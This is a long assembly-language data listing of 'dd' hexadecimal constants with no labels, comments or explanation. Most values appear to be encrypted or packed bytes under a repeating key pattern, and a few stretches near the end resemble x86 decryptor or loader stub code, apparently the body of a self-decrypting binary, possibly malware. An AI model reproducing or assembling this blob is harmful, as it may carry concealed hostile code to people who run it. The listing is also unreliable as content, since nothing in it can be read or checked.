dd 0FC88A2CAh, 753CE012h, 1563093Dh, 94004432h, 0ED0BAAE8h
dd 1577F853h, 36458832h, 0BA9181Ah, 6E2FD586h, 0BB619F5Eh
dd 1DABCF86h, 0E0CCBDFAh, 39FDC9B3h, 0EE4F21ADh, 39FD3062h
dd 0D66774ADh, 9406DE6Ah, 2DEE92D8h, 15746137h, 73274432h
dd 42656E40h, 78D788BEh, 9C6D8961h, 0FB9BB61Ah, 118AA353h
dd 9C661132h, 11DBAC1Eh, 3C664432h, 1A8F7FD9h, 9A661132h
dd 0EEE38EE5h, 0A0DD4D5Ch, 8C996DF3h, 463695C0h, 317A036Ah
dd 756280B1h, 74BC9D3Dh, 9E69BAC7h, 1566883Ch, 15E14B52h
dd 94662232h, 0FB119FD5h, 0A833E915h, 15664430h, 5742CCB3h
dd 0FB6713CAh, 57424EB3h, 0FC3B46CAh, 15662234h, 0E2F8A3A1h
dd 0A0EF89B1h, 13734243h, 156FA63Dh, 0EC061132h, 15660C3Dh
dd 0D2074432h, 7E73B7h, 15661034h, 9C307D32h, 11DD17D4h
dd 14662232h, 0D3E54AECh, 31520F36h, 83D9246Eh, 75798A98h
dd 0A47FAB54h, 7407D064h, 156657DBh, 1E0E4532h, 0E3CC5EF4h
dd 0FB8AD98Fh, 6E4DEB98h, 0C2AD53E4h, 4E4225CDh, 1A624CB1h
dd 156656B0h, 19EB2D32h, 0FC661132h, 15668835h, 55F24162h
dd 9EC3438Ch, 9C33353Eh, 11A309D7h, 94664432h, 156626F7h
dd 314A9632h, 12E5876Eh, 1A664432h, 156623BDh, 9C30E432h
dd 11A009D4h, 42664432h, 1566268Dh, 4A981032h, 4942BCB5h
dd 156AC13Dh, 128F2232h
dd 3661132h, 5D54135Eh, 9C373212h, 11DD71D3h, 14661132h
dd 0D4E5D3EBh, 316AC336h, 156ACB6Eh, 8D5A1132h, 0A84C4549h
dd 0D5D094Fh, 950642CCh, 9969ACD6h, 15668827h, 15664BDAh
dd 2AB30F32h, 991AA3ABh, 0A6DF7A3Eh, 94904244h, 0E38F436Ah
dd 0FC99EEEBh, 15668839h, 544739BBh, 0E1C98F40h, 1A21FB7Bh
dd 156689B3h, 9430B832h, 1567061Eh, 75381132h, 156686DBh
dd 3991E532h, 0C02FEB10h, 2DA60D01h, 946F9DABh, 8EAECEE4h
dd 18F4350h, 3661132h, 0C0713245h, 0D8F84C43h, 0B0C562BDh
dd 0FF952F31h, 44AD3EDBh, 0C490AE83h, 0F4E6EBCCh, 0CCA791A8h
dd 9DAC0060h, 753F1EE2h, 5884FCB3h, 749A3A6Ah, 0D7E6E898h
dd 9E302593h, 0D1E50636h, 18E31E36h, 0FC668832h, 1566443Ah
dd 0CF7BB9Eh, 0DB955360h, 56393567h, 0FD4F0563h, 109E0B6Fh
dd 5437526Dh, 156685DBh, 9898AB32h, 645DE64h, 751EC174h
dd 68FBF53h, 7664432h, 1A957BFBh, 1DD8986Bh, 9E3D9297h
dd 0AD14FE0Ah, 0AA31765Fh, 15661136h, 4B3D3937h, 389E6D2Bh
dd 0C387983h, 40D6716Dh, 99F24F8Ch, 0EDCD2577h, 9C62CEB1h
dd 0F5EF3536h, 15668C37h, 11A6C732h, 494226B5h, 15661BDBh
dd 1DE5B832h, 0F5AAF342h, 0EA111E76h, 963D3506h, 73068CF6h
dd 0CF4AEB3h, 1575CB53h, 95661132h, 0C1F5EB67h, 0A53DADABh
dd 79B6B819h, 705E7DBFh, 316A0353h, 9483CD67h, 156626F7h
dd 11A39232h, 4942A4B5h, 156654DBh, 9C150B32h, 8AD63EF2h
dd 0D770E825h, 0C2A1E46Fh, 3152DD3Ch, 11A2906Ch, 0FC668832h
dd 15664438h, 4DD8FB5Ah, 13512070h, 9C3598D7h, 11A5C5D1h
dd 96662232h, 9E115F1h, 31420316h, 156654DBh, 7D5D5F32h
dd 64F14EADh, 4713DDE8h, 5B818954h, 0CE53CB03h, 1B8FEECDh
dd 74668832h, 455FD48Ch, 0CAAD5B70h, 4D404DC3h, 3BE34F28h
dd 106058BAh, 75662232h, 15661BDBh, 7C41EC32h, 0D9B75F8Dh
dd 9E2BD4C8h, 943070FAh, 680DAC06h, 9ED4E36h, 11A2A316h
dd 94661132h, 111BE3C1h, 1569AD38h, 0ECA42232h, 506ECFB6h
dd 0C00E49D6h, 0C03DA87Eh, 118AA1EFh, 0AD4215BBh, 15668836h
dd 753E8733h, 43ECCBB3h, 0AA691352h, 0AD36E9C1h, 15664432h
dd 0EA0B5137h, 3896100Fh, 2899E541h, 0FC3E5C31h, 1566223Bh
dd 0FC2386A1h, 4061138Dh, 54E3CFA2h, 75603735h, 15661BDAh
dd 29923C32h, 67602EB5h, 0AB08ED1Eh, 445051C9h, 3EC876Bh
dd 0FC664432h, 15662223h, 0DE628F33h, 77EDDD4Ah, 4FA370D7h
dd 0EBA8DF20h, 80ED706Ch, 1373AE03h, 14DD17CAh, 3C662232h
dd 90694AECh, 15668833h, 4CDBC7CEh, 1460373Eh, 13D5953Dh
dd 93698832h, 1566443Ah, 733E7252h, 74646D88h, 97695009h
dd 15664409h, 156629DBh, 526AFE32h, 14F4E9E7h, 0F06AB166h
dd 9369F809h, 15661003h, 15616052h, 0B30B4432h, 95A398CFh
dd 0C6ED7792h, 0D2E7EE6Bh, 1A07A92Eh, 156624B7h, 0C5EC7132h
dd 9C07E952h, 603587h, 749E4234h, 9D488CB9h, 949A8E2Eh
dd 3D6A6076h, 942A2D29h, 936A3576h, 145A6E3Bh, 946A606Eh
dd 936A065Eh, 945AF73Bh, 3D6AAC5Eh, 0E02A4B29h, 15600ADBh
dd 1FE41E32h, 0FC668832h, 15664437h, 43290030h, 315A9A7Ch
dd 94830167h, 156640F7h, 11A3A132h, 49423DB5h, 0AC00E852h
dd 74062906h, 0D207DE53h, 6A48B7h, 15668934h, 9E69BD32h
dd 15662239h, 156617DBh, 0EAF00132h, 9E848FF4h, 9C35062Eh
dd 11A590D1h, 96668832h, 9E140F1h, 1F8F7E16h, 0AF661132h
dd 4BC44A7Fh, 1CCBB87Ah, 316AA94Ah, 94859861h, 15668CF1h
dd 11A5C732h, 49423EB5h, 1BEC1E52h, 0FC668832h, 1566443Bh
dd 42E6D06Fh, 0F74CE131h, 749502AFh, 4B4270CDh, 0FC62E6B1h
dd 15661134h, 1274BCCEh, 9C356610h, 11A5A3D1h, 96661132h
dd 0EA358CF1h, 4E626046h, 494226BDh, 156F903Dh, 42068832h
dd 0FEE72269h, 0FC075451h, 0EA99C737h, 44DB0BCAh, 1460512Ah
dd 1021A63Dh, 68F1132h, 0C8668832h, 13C782A7h, 85F7FC8Dh
dd 0FA1FC80h, 0B93B9E37h, 884DABA1h, 13732573h, 0A4EB9AC7h
dd 0FC609D2Fh, 15664426h, 723C4A62h, 99B44CE6h, 5B7A89B8h
dd 0EA3F89AAh, 0E10F3891h, 306CA962h, 0DB4BAD19h, 1490E3D8h
dd 0CC677AF3h, 2F5AF8B3h, 0FC06A6B1h, 15664437h, 73C0E66Ah
dd 78F42EBh, 0C8668832h, 566A6FB0h, 7EF342DEh, 67136484h
dd 0E8C6BB8Bh, 0ED071DF6h, 2737CBB3h, 0D4E719ECh, 5B50CDD6h
dd 0FCE7BD1Bh, 5B5067D6h, 2737D0B3h, 9F6980ECh, 15664433h
dd 0AB30DACAh, 15661137h, 4DB449B3h, 0E44F731Eh, 4DB4CBB3h
dd 0FC38261Eh, 15668821h, 4A3688B5h, 767AE62Ch, 7CB272BAh
dd 59C5110Ch, 47A15970h, 0A38C9262h, 4DA011E9h, 9D4A7EB2h
dd 93691EC2h, 15662235h, 95077152h, 0BF071EC2h, 0FE0E2552h
dd 9C662228h, 4D373536h, 0D2E7E86Bh, 6354E7A2h, 7D9E8953h
dd 156666A9h, 9C42A4BBh, 11A3C5D7h, 96662232h, 39E115F7h
dd 0EA9FD416h, 943D6006h, 156626F6h, 19EDE432h, 0F0EFDD16h
dd 156281B3h, 0D0E72232h, 15661136h, 4942A4B5h, 0C4E72452h
dd 173F4FC0h, 0B32FAF54h, 0C5D98753h, 3152CF53h, 9487AB63h
dd 156615F3h, 11A70B32h, 494248B5h, 1575CBCEh, 0ACC21132h
dd 8D3C035Fh, 54304C0Bh, 0DA2317EBh, 648187D3h, 0F3EFDEB8h
dd 156282B3h, 0AC372232h, 15661136h, 923F4633h, 0ED3A6006h
dd 0EAB164DBh, 1568F8CDh, 0F8A38832h, 0A2B09DE2h, 5ED9BB50h
dd 1F3AE416h, 156B0C3Dh, 1D8F4432h, 0E9662232h, 90D5270Ch
dd 0D24E19F4h, 9EE6AB7h, 15662034h, 1572F832h, 7B5B8832h
dd 0B1C6C0A9h, 0FED230E9h, 3CD78C37h, 0E601C70Bh, 7D9EE36Fh
dd 15664605h, 9C4205BBh, 4FB501C0h, 8DEFC52h, 78E749Ch
dd 5D661132h, 0E87FFA27h, 9D65AB71h, 5633C2B1h, 0EE7491F5h
dd 0DF5367Fh, 743E5AC4h, 7568943Dh, 9B69FEB8h, 15668834h
dd 1566CF3Dh, 0EC072232h, 1AE6E8B2h, 156600B1h, 0A833BD32h
dd 56476543h, 25BED4B3h, 0F0E7E5A8h, 2DE55FA3h, 1BBCD7B3h
dd 0F0E73F42h, 74C043h, 0D0E799C5h, 3CA5BFFh, 143BFA33h
dd 698D09F9h, 7564DE4Bh, 1563AA3Dh, 94001132h, 1A2F33DAh
dd 156644BCh, 96354332h, 4E673536h, 15770E3Dh, 96694432h
dd 15662239h, 156617DBh, 221F2E32h, 0ED986A8Ch, 1566F2DBh
dd 0AF9A7132h, 2909DAA2h, 0FD352453h, 1566223Ah, 0D21EAC35h
dd 523E218Dh, 0FFE71F68h, 3609533Dh, 178A9253h, 31620154h
dd 0D44EBB82h, 1A067A54h, 156613BAh, 7507E832h, 1566CE3Dh
dd 94002232h, 74B263C3h, 4C33D953h, 92BBB36Fh, 4E42DDBh
dd 0FC661132h, 1566883Eh, 0B2288102h, 6A4DF1E2h, 27697786h
dd 39783567h, 0D8E72B4Fh, 71340C6Ch, 9463F4F3h, 1F289EF7h
dd 0C3D91329h, 0E2374C4Fh, 0D8A190EDh, 1CD4A881h, 0C8911BCFh
dd 2B90E7B3h, 0FC477BC0h, 19EB876Fh, 1A664432h, 156624B7h
dd 15EE1E32h, 0ED668832h, 2DB2FD63h, 0DE6737DDh, 94AD386Bh
dd 0FA5E5CD9h, 1575AD27h, 0D0BE2232h, 0D5B66F54h, 7C63E7DEh
dd 6125909Fh, 0CD0055D0h, 54E39A3Fh, 1A609D35h, 156645B5h
dd 80EDDB32h, 13733703h, 0EF9961CAh, 759ABBCDh, 128FE1B9h
dd 70661132h, 0ABFB2821h, 0D2074006h, 9EE0CB7h, 15661334h
dd 40347032h, 0FFEFB1BBh, 4FB5AB6Fh, 1569933Dh, 1F8F8832h
dd 0CA664432h, 0CD5B7B99h
dd 7C27898h, 1BD08765h, 959FC4CEh, 1508A13Dh, 94691132h
dd 1566882Ah, 156657DBh, 8E3DA832h, 48C1A0C1h, 0D6095281h
dd 0F97E2DE4h, 0A744D5D5h, 348FD2B3h, 0FEE7E85Ah, 7F832D0Ch
dd 0D6E7E933h, 7F83780Ch, 348F63B3h, 1A9F245Ah, 15662DBCh
dd 156CF832h, 0DED38832h, 0CAE326D9h, 9BEBD39h, 1567AB60h
dd 0C6678832h, 1560AD68h, 54732232h, 87FAD5ACh, 156609DBh
dd 14E44B32h, 0E9662232h, 45A6A661h, 0F256B786h, 4E9F6C6Ah
dd 0CDED4452h, 1384CBB3h, 5C07E5D5h, 3172B363h, 156ECB6Bh
dd 6B171132h, 0F66055FBh, 9B6902DAh, 15662233h, 3D847CAh
dd 5339824Dh, 0F2A0C574h, 34C6D7B3h, 31529AC3h, 0FC624CB1h
dd 1566443Fh, 43B6265Fh, 0EA68236Bh, 6A942A3Ch, 1FA5C547h
dd 944ADD3Dh, 0F16E23F1h, 94ADA146h, 0F16E76D9h, 1F8DA346h
dd 1A4AEE3Dh, 156689B1h, 90EDBD32h, 13732573h, 0CAED7752h
dd 15640A3Dh, 13D64432h, 1E8F4253h, 59661132h, 86C775E5h
dd 9691DA80h, 9E07F933h, 4020A7h, 1AE68734h, 75664432h
dd 156627DAh, 0CE724932h, 753E6CD0h, 0A8E52553h, 13733A63h
dd 36E21E33h, 0EC9977C5h, 97699C09h, 1566221Fh, 15661FDBh
dd 0D4A4DA32h, 0D365E96Ch, 0A78D99C5h, 2CEA2594h, 0E7E087E1h
dd 7599BBDFh, 15662ADBh, 0FF089B32h, 5BD7A34h, 0CBD14B9Fh
dd 14DB7753h, 3C661132h, 1B8FD5DCh, 0E3664432h, 5DDB35E0h
dd 0CDC812A7h, 5F523C77h, 2EEE2C30h, 21EF2232h, 314A9016h
dd 8C0CF2Bh, 0CA7C56Bh, 1A7B8475h, 156610B6h, 0A8337432h
dd 3D4977E2h, 55CFEFB3h, 0D42B5FA1h, 0F8E780DFh, 3A3A7AFAh
dd 7F43CFB3h, 0D0E75A72h, 0D549C682h, 3C3BAD33h, 238FA3CBh
dd 75201057h, 1E91568Ah, 0EBED2274h, 12E42D53h, 1A661132h
dd 156689B4h, 0F9E5B832h, 315AAB36h, 1566148Dh, 4A9FA132h
dd 0DBD94B52h, 156CCB53h, 4EB91132h, 0B69D602Ch, 86ECF244h
dd 0A5AC9363h, 9EAE2111h, 0D1E7AC3Eh, 15664436h, 1575CB52h
dd 74341132h, 1427443h, 67DD0485h, 9F29847Dh, 0CF096A70h
dd 0BF9FE9D1h, 17E54B52h, 9F662232h, 0EDD91EFAh, 0F9E7D853h
dd 15664436h, 4D422EBBh, 156FF86Bh, 23838832h, 0ABFF87DAh
dd 0BEA4092Ah, 0EFD91E52h, 0FC073483h, 0EA999699h, 88DD71CBh
dd 947D535Dh, 6C29D7C1h, 0C28DC550h, 94700E66h, 0E45204F1h
dd 9F9589AEh, 0E9061F31h, 15EB2D62h, 4F661132h, 7336E853h
dd 4A07908Ah, 156630DBh, 24705032h, 81EBAC91h, 73AD3EBAh
dd 0F58820E6h, 74695324h, 9169600Eh, 1566440Fh, 0F1DC70CBh
dd 0AD39AB71h, 4ADCCBD6h, 1ED9403h, 11A2A316h, 0FC661132h
dd 1566883Bh, 668E4232h, 5904122Ch, 1419F821h, 0AF068832h
dd 65730210h, 1560AF3Dh, 97691132h, 15668832h, 0F2EF1353h
dd 1562E5B3h, 0FAE51132h, 315A0F36h, 317ACD6Eh, 13E82D52h
dd 1A661132h, 156688B4h, 0CEA6C532h, 74011742h, 153B755Ah
dd 31520132h, 94002469h, 749405E5h, 1567A863h, 0E4678832h
dd 1566FE60h, 0DF672232h, 4C3C0B31h, 0AB30DDCBh, 33D96C29h
dd 55B1C88Fh, 4B9310EBh, 0ED3B6333h, 0EBCAF260h, 95B0D4F4h
dd 0CB9077C4h, 0EB513F61h, 3191C4F5h, 9D3DDC32h, 0BF934BC2h
dd 1561043Dh, 99694432h, 15662233h, 208D90C7h, 3C622C1Ah
dd 0FDDB11C9h, 940B093Bh, 9387A2DFh, 488D895Ah, 15664BDBh
dd 9FFB3632h, 20A3603Ah, 0DD3789EBh, 0E890F1Ah, 15629C64h
dd 0D6E71132h, 3F2097E7h, 0FEE7B71Bh, 3F203DE7h, 1DEC1E6Ch
dd 1A668832h, 156646B1h, 45074232h, 31629A61h, 15624CB3h
dd 0FC3D4432h, 15662221h, 0FCFC6BB3h, 0AEA3BF34h, 4B72A9B3h
dd 0EE0FA9B8h, 0BED99E40h, 75B70852h, 9E078CB8h, 9C30062Eh
dd 11A090D4h, 94668832h, 156640F4h, 3152A532h, 0A833E96Eh
dd 15668837h, 13B3AAB3h, 0FB6762B2h, 13B3D7B3h, 753BC8B2h
dd 1A2691B2h, 156630B5h, 156AF932h, 474A8832h, 0F42BB7E5h
dd 2BCB7916h, 743C2FC7h, 0F06E063h, 943F22E9h, 0AC08B8DBh
dd 0FCE75868h, 936EFACh, 5140FF61h, 0CC57CDE3h, 4CAE9869h
dd 138F4BCAh, 2A664432h, 0B68DC8B7h, 0F2EF46D4h, 15624FB3h
dd 0FAE54432h, 315AA536h, 316A986Eh, 15670F3Dh, 449A4432h
dd 1566228Bh, 47971032h, 15668888h, 73AC4532h, 4C3C20B9h
dd 15661DDBh, 0BAF0F132h, 0B33B84D5h, 9F7DA05Fh, 1AA52D74h
dd 1567EDB6h, 13EC4B32h, 75662232h, 4B364A61h, 1AADB453h
dd 156715B6h, 1FE92D32h, 75661132h, 0E1239788h, 0C5D94B5Ah
dd 1AA41E53h, 156778B6h, 12E48732h, 75664432h, 9E007B65h
dd 996970F1h, 15668838h, 69EEFB52h, 9E0035F6h, 0DF5A70FCh
dd 14220C3Dh, 95694432h, 1566223Ah, 1564993Dh, 74068832h
dd 30997954h, 1433A63Dh, 1C8F1132h, 7B668832h, 0E521050Eh
dd 7180AF3Ch, 0AA694752h, 7307D6CBh, 1A996A0Fh, 15665DB7h
dd 156DF832h, 286E8832h, 9AD5A443h, 0E92FAC64h, 118A926Eh
dd 0AF429CBBh, 15664430h, 17ECD033h, 19EF1E68h, 1A668832h
dd 156642BEh, 15EF2D32h, 47661132h, 46006784h, 0EB565285h
dd 0CB907954h, 0D3E6CFC4h, 4F96A8C5h, 156DAC52h, 0B68B2232h
dd 6BD26672h, 0D0944824h, 0E5D94B3Ah, 19E12D68h, 0FC661132h
dd 15668835h, 0F037504Ch, 741ABB13h, 9169B10Eh, 156688D1h
dd 9400BC52h, 74E26CC1h, 40421DB9h, 0D0E76DBBh, 15664436h
dd 9262E7B1h, 0FC3A351Eh, 15668821h, 0D8694357h, 0D3865CC4h
dd 183AD734h, 34EEE919h, 7D5DC4D4h, 156647B8h, 0AF4205BBh
dd 15668832h, 1A3C94BBh, 156635B4h, 1574F832h, 443B8832h
dd 3A3EC53Eh, 0D240B4Ah, 0D47DDEADh, 18A1AE47h, 15675EDBh
dd 0DC57DE32h, 156E963Dh, 93698832h, 15664430h, 0AA314352h
dd 0EA99EECDh, 0ED39711Bh, 156635DBh, 0AD004232h, 94006A0Ah
dd 74D72CF3h, 47D82252h, 0A8334393h, 15661131h, 9C890165h
dd 0FC3B1BCBh, 1566223Ah, 0C26BC153h, 0FCEC706h, 156605DBh
dd 0D7E74232h, 43796BE5h, 400746B9h, 1566428Fh, 9E8FAB32h
dd 0D1E5351Eh, 368F7036h, 1A664432h, 156628B9h, 9E007132h
dd 64230C5h, 43072423h, 341A6E8Ch, 0AEDC431Bh, 9CB056B1h
dd 0E4671EE3h, 0B195D76Ch, 15689A3Dh, 1C8F8832h, 0A4664432h
dd 4F3DC990h, 0AFA9C97Ah, 24EB03CAh, 1A605114h, 156623B0h
dd 0DCE3E832h, 15780D3Dh, 73064432h, 0D337C0B3h, 0EEAF9054h
dd 0A0EFE942h, 13736203h, 1560A13Dh, 1A061132h, 749E5885h
dd 464248B9h, 0D6E7C1BBh, 15661136h, 92624BB1h, 753A602Eh
dd 0D6E744C7h, 0E907DA86h, 7E683361h, 432D40DAh, 71246A8Ch
dd 4B953833h, 0C25A4BB3h, 0CDEFB849h, 1A354269h, 156611BFh
dd 0D607D332h, 239922CAh, 3162A954h, 1564D5B3h, 96698832h
dd 15664426h, 15662DDBh, 435A0432h, 0AB16111Fh, 3A038223h
dd 0AE48473Dh, 156619DBh, 0B4BDA132h, 0B8FB0D33h, 1AA51E32h
dd 1567D6B6h, 9D347132h, 0C5EE14F0h, 4F3EE1BAh, 4E344752h
dd 1563616Ah, 0B464432h, 7469A575h, 15759D3Dh, 1B8F8832h
dd 0E1664432h, 0FC23B5A1h, 40618A8Dh, 168BBEA2h, 0A73422B4h
dd 73B502C2h, 944205B9h, 15668AF6h, 94002432h, 9EA37CFDh
dd 0EEE670E8h, 0B9E28742h, 0EC664431h, 9169CB0Eh, 1566105Ah
dd 15669ADBh, 35A05632h, 2EEFDE76h, 0BD580736h, 37A44591h
dd 2939ABBDh, 5CE22DD9h
dd 75661133h, 6B800852h, 4A0FC53h, 29074D5Bh, 20E21EF0h
dd 0ED668833h, 91698F0Eh, 1566231Eh, 15699F3Dh, 1F8F8832h
dd 664432h, 5E5DB41Fh, 0B57D8142h, 0EA5BEE27h, 18E24B17h
dd 75662233h, 0FDF4A152h, 15668820h, 10FC2A48h, 4BC581A4h
dd 0A7E0CD6Dh, 2DAF7B01h, 7439DBEAh, 74D3E3B2h, 9169DB0Eh
dd 156688D6h, 157BC33Dh, 9B692232h, 15661125h, 15669ADBh
dd 0E55E7532h, 1D9F1C7Bh, 841F39A4h, 823C304Bh, 0FC19E9B0h
dd 15662221h, 362A0351h, 3F0B5691h, 0C69B6DEFh, 8BA6B0D4h
dd 2929A787h, 0C9E287D1h, 1A664430h, 15662EB2h, 13EF1E32h
dd 1A668832h, 156644B1h, 3B5B4432h, 47E31ECDh, 0FC668832h
dd 1566443Ch, 1765AB06h, 0D08CC621h, 6F2CF4C2h, 0AC37A827h
dd 15662230h, 4996F8B3h, 0E467E32Bh, 499685B3h, 14EC492Bh
dd 0F9E7ED6Bh, 15668836h, 0A64258BBh, 9EA5A2F1h, 35D8E2B2h
dd 2993D3EAh, 28E24B92h, 0FC662232h, 15661137h, 0F15F345Fh
dd 15DB11B7h, 9C662232h, 314A9ADAh, 15624CB3h, 73064432h
dd 0FC064C8Dh, 15661137h, 0D269A9F1h, 6B8F25DEh, 1A662232h
dd 156616BFh, 0FFE6E832h, 74A4CE3Bh, 335797BBh, 73061727h
dd 737D1C8Bh, 746C028Dh, 8394BFBFh, 0FC9A1729h, 1566883Dh
dd 4BA616A5h, 65FCE9ACh, 0F26A9EFBh, 0EAF3A6E5h, 0AB0024E1h
dd 0CDED6D2Ch, 68DC4353h, 941E090Eh, 8D5F57D8h, 4BDF735Dh
dd 1C3AC52Dh, 0FFE7D1F8h, 659C0EB4h, 1EACA370h, 947C176Bh
dd 13BB72D8h, 4FB6CDCCh, 156DAB3Dh, 138F1132h, 0D1668832h
dd 1ED48A5Bh, 9C69E152h, 1566113Ah, 15640D3Dh, 74064432h
dd 151F1F5Ah, 31629832h, 5DFD9CEh, 14664432h, 4D57DDC3h
dd 9169716Bh, 15668837h, 0C66C4A88h, 90EF4328h, 13730D8Fh
dd 315277C7h, 11A2C56Ah, 0E0662232h, 661A962h, 0CD91A87Fh
dd 4ED4417Ah, 0CD9120DDh, 206EF1F3h, 48D1DE2Eh, 0ED3E8233h
dd 140F9FBFh, 99691727h, 15668822h, 15664FDBh, 72CA9332h
dd 44D78434h, 2270D76Ah, 0C3D14B52h, 0B807C280h, 15739F3Dh
dd 58F8832h, 84664432h, 97C6E09h, 6D355FCBh, 363128BFh
dd 107FCB4Eh, 7C246468h, 31425531h, 533C3567h, 0FD4F2D70h
dd 9400426Fh, 1A762DD9h, 0BE07588Dh, 1567CF3Dh, 1A9E2232h
dd 156610B1h, 0A8EB7032h, 1373743Bh, 1567AD3Dh, 0EC9A1132h
dd 0CBE7E89Fh, 5EBB49F6h, 1569CA64h, 7D91132h, 4BE9222h
dd 0FC7B402Ah, 3B888D5h, 74394B52h, 2979D437h, 38B66947h
dd 516512CEh, 0C5633516h, 3856741Fh, 605A5B6Eh, 0DDED4452h
dd 0DCE77752h, 19DC5411h, 743A55E6h, 0CFE74253h, 3E458011h
dd 74A50354h, 151FD95Ah, 3162AB32h, 9E00E452h, 9E06E9C5h
dd 0EDCD25CBh, 156627DBh, 8E4B632h, 0A8EBEDB5h, 137366BBh
dd 128F8FCBh, 2C661132h, 0EBBEA930h, 0F24BC812h, 38175B6Dh
dd 353070A5h, 3D42CC31h, 4307D337h, 4A812712h, 1A8F604Bh
dd 20668832h, 0C148700Ah, 27D9A838h, 34F15D6h, 1ACDFB3Bh
dd 15664CB4h, 17EC2D32h, 75661132h, 156D6153h, 0F8784432h
dd 5E451669h, 0BA963F2Ah, 31520323h, 9485CD61h, 156626F1h
dd 11A59032h, 92668832h, 0E93A602Eh, 0CCE742F1h, 605215FCh
dd 94075EB9h, 156640DEh, 3152AB32h, 5AFB9CCEh, 756093A4h
dd 156641DAh, 0F4EE8332h, 943CADABh, 89F0E1F5h, 94062529h
dd 0CD5696F9h, 9E697136h, 15668832h, 15664FDBh, 3BF17432h
dd 0C7747067h, 56D73F09h, 0C6992553h, 15662ADBh, 0F6FFEF32h
dd 6100E3D7h, 2F8FBDD5h, 0FC99DDCFh, 15661134h, 7CF3863Ah
dd 0CEDFBC2Fh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 59C19CC0h
dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43965394h
dd 0C132DCF1h, 0BA8C096Dh, 0A8EDD871h, 458A42C3h, 58DDAEA2h
dd 0C88260D5h, 48EE9F38h, 0DF07462Ch, 52B41637h, 3C6D5h
dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 3508FA7h, 0D9FB57BEh
dd 59CD80B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
dd 0B232DCAAh, 168C096Ch, 133DCB2Fh, 96751336h, 0BD54142Bh
dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 499D8D00h
dd 0B8061534h, 23E4h, 90D8589h, 0E80615h, 58000000h, 0D05h
dd 0E9038900h, 23E4h, 47h dup(0)
dd 0F305E983h, 3CB8BA4h, 5657B6DBh, 0C2DD3032h, 4EED3849h
dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh
dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 83D60BBFh
dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 4C17FB23h, 25FB668Bh
dd 0FDF53FD5h, 69CB5EADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
dd 75FD7A1Ah, 987C2779h, 73E14DE6h, 4056FFA0h, 0F305E983h
dd 8DDB8BA4h, 1C8832BDh, 0C38D8D06h, 0B8061D0Eh, 32156644h
dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0FF67549h, 586h, 50F56000h
dd 12E9615Eh, 0C2000000h, 0B07645E2h, 581A33Ch, 6AFF4A4Bh
dd 0CF3B8A6Eh, 0C2895287h, 0FC5A5852h, 8F5BD83h, 75000615h
dd 0ADBD8309h, 61503h, 53501974h, 11B8C08Bh, 89000004h
dd 1502A185h, 59D8D06h, 0FF0617ABh, 83585BD3h, 1503ADBDh
dd 17740006h, 11B85350h, 89000004h, 1502A185h, 0A69D8D06h
dd 0FF0617A7h, 0E9585BD3h, 13h, 509D0A59h, 8DE23AA6h, 49403592h
dd 0E745DDEEh, 0F558FA36h, 242C8150h, 598B061Eh, 1EBF5758h
dd 1598B06h, 8F0F5FF8h, 15h, 10E9h, 421BFA00h, 4B9EDEA2h
dd 0C6163C55h, 5534F5ECh, 8D8DF82Fh, 61D1304h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 27C35141h, 0FEFA049Fh
dd 1DF1958Bh, 8D890615h, 6152721h, 85C7FA8Bh, 61504CDh
dd 614Ch, 7EBCBA66h, 111585C7h, 615h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0FFFCB2C3h, 237D6A2Ch, 1501F995h, 49B5FF06h, 6A06152Ah
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 6DC5C356h, 3B39FD1Fh, 79E9F754h, 0FFD78B66h
dd 1502C995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0D25029A6h, 8529C3E1h, 6152F0Dh
dd 95FF006Ah, 6152E21h, 2CEBC08Bh, 0CB1F4BF8h, 318F2495h
dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h, 0FA788A6Dh
dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 12E8h, 7FE72400h
dd 0CAD34110h, 12624605h, 697C6595h, 0E8132C76h, 0Eh, 90C5CA93h
dd 958B36C6h, 0DA0E6764h, 0BF0F8D3Ch, 8B5B5FFEh, 1527CD85h
dd 61C38106h, 60000073h, 0BDBB70Fh, 1505159Dh, 0C9336106h
dd 9E953h, 0D24A0000h, 2A1CBD03h, 58573356h, 0F0B348Bh
dd 0C681C0B7h, 3D93421h, 8860Fh, 89570000h, 150C099Dh
dd 0EE815806h, 5D67669Ah, 3C1BD8Bh, 0F6810615h, 155BC90Eh
dd 895680B6h, 1525958Dh, 0B048F06h, 0BB9B589h, 0BA660615h
dd 0E983E707h, 81F94903h, 0FF8D64F9h, 12850FFFh, 8B000000h
dd 152251BDh, 18E906h, 536A0000h, 0B9719414h, 75BD8B70h
dd 0E9061534h, 0FFFFFF90h, 0D63D77DFh, 37E982F3h, 43000000h
dd 4DAC17h, 0Ch dup(0)
dd 79E90000h, 68000004h, 61D1569h, 0F86A05E9h, 15EE68FFh
dd 0FBE9061Dh, 68FFF869h, 61D16FFh, 0F869F1E9h, 0B82886FFh
dd 73E346DDh, 0C0308DA2h, 0A7AFE35h, 0C636B46Bh, 8033782Fh
dd 2C039202h, 65BA5BCBh, 31FE9707h, 409362D2h, 0E662A71Eh
dd 8809169Bh, 143D08D6h, 0D7169BE6h, 44DF8C6h, 0E7169BE6h
dd 240034D6h, 536056C6h, 69F580F0h, 0F289D073h, 0A3741086h
dd 0C2DD1C7h, 86F21039h, 79E94E10h, 5D9F6C7h, 1B3E05D7h
